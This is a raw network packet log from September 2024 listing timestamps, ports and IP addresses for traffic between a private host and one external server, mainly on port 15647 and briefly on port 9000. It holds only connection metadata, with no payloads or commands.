Sep 26, 2024 01:49:38.673533916 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.676434994 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.676538944 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.681462049 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.681555033 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.694564104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.694746971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.704113007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.704260111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.724519968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.725199938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.725301027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.725306034 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.729590893 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.729748964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.734710932 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.734885931 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.760909081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.760978937 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.762891054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.762907028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.762938976 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.762958050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.768879890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.771058083 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.787110090 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.787154913 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.787209034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.794645071 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.794657946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.794696093 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.796082020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.812616110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.812720060 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.831054926 CEST	9000	58399	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.831154108 CEST	58399	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.831190109 CEST	58399	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.831568003 CEST	58400	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.832676888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.835988045 CEST	9000	58399	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.836328983 CEST	9000	58400	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.836416960 CEST	58400	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.836493969 CEST	58400	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.837466955 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.837544918 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.841213942 CEST	9000	58400	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.842401981 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.842449903 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.850323915 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.850608110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.850651026 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.854969025 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.855206966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.855269909 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.871145964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.879571915 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.879702091 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.896773100 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.901582003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.901700020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.905122042 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.905211926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.910036087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.910176039 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.925091028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.925214052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.929907084 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.930107117 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.934916019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.935091972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.946258068 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.946366072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.946367025 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.963592052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.963701010 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.972326994 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.972440958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.989154100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.989368916 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.994002104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.994158983 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.998964071 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.999135971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.009428978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.009569883 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.009604931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.009740114 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.014636040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.014724970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.017323017 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.017374039 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.022196054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.022288084 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.033624887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.033843040 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.052162886 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.057090998 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.057228088 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.058815002 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.058845043 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.059010029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.059211969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.063777924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.063884974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.069751024 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.069773912 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.069847107 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.081332922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.081440926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.088840008 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.088856936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.088965893 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.096762896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.096910954 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.108316898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.108376026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.108443022 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.126374006 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.126564980 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.126821041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.136074066 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.136092901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.136235952 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.156681061 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.161580086 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.161710024 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.178539991 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.178570032 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.178697109 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.185113907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.185131073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.185195923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.195950031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.196100950 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.201785088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.213144064 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.213164091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.213226080 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.214214087 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.219206095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.219409943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.223861933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.223953962 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.229623079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.229716063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.246118069 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.248908997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.249020100 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.249306917 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.249489069 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.251307964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.251389980 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.254363060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.254473925 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.259524107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.259592056 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.271359921 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.271481037 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.278060913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.278156042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.288741112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.288849115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.302341938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.302360058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.302627087 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.312118053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.312201023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.323203087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.323281050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.338193893 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.338231087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.338257074 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.341819048 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.341891050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.352390051 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.352477074 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.363960028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.364043951 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.386174917 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.389741898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.389769077 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.389825106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.392280102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.392354012 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.397695065 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.397763968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.405898094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.405980110 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.415750980 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.415864944 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.430660963 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.430696011 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.430777073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.444830894 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.444966078 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.456437111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.456571102 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.461237907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.461261034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.461379051 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.466116905 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.466170073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.477545023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.477608919 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.508725882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.513628006 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.513689041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.518513918 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.518572092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.532862902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.532876015 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.532937050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.546263933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.546325922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.556190014 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.557116985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.557285070 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.562104940 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.562122107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.562155008 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.588100910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.588140011 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.588162899 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.601175070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.601233959 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.609585047 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.609599113 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.609643936 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.610838890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.615963936 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.625936031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.625952959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.625992060 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.644470930 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.644582987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.648438931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.648507118 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.653386116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.653467894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.668215990 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.668236971 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.668405056 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.675271034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.675369978 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.681266069 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.681369066 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.694557905 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.694700003 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.708261013 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.708398104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.718334913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.718450069 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.733170986 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.733257055 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.733266115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.736993074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.737071991 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.741903067 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.742017984 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.755542040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.755649090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.768821955 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.768938065 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.768958092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.773605108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.773675919 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.778496027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.778634071 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.790199995 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.790216923 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.790312052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.800858021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.801090002 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.810811043 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.810983896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.829015017 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.833864927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.833969116 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.838825941 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.838913918 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.847213984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.847285032 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.847637892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.861499071 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.861618996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.878716946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.878740072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.878881931 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.882847071 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.882903099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.887691021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.887762070 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.903532028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.903606892 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.912848949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.912862062 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.912904978 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.921497107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.921581030 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.931777954 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.931833029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.931983948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.953519106 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.953592062 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.953636885 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.971117020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.971127987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.971204042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.983964920 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.983998060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.984035015 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:39.995944977 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:39.996047974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.014252901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.014269114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.014410973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.024184942 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.024238110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.024303913 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.035936117 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.036048889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.036184072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.040676117 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.040777922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.045485020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.045588017 CEST	58394	15647	192.168.2.7	213.109.202.97
